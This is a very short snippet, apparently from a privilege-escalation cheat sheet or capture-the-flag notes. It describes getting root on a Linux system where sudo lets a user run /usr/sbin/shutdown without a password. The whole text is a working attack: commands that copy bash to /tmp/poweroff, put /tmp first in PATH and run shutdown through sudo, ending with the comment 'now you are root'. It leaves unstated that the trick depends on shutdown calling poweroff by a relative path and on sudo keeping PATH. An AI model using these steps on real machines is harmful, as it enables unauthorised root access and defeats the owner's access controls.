(root) NOPASSWD: /usr/sbin/shutdown. Do the following: cp /bin/bash /tmp/poweroff chmod +x /tmp/poweroff export PATH=/tmp:$PATH sudo /usr/sbin/shutdown #now you are root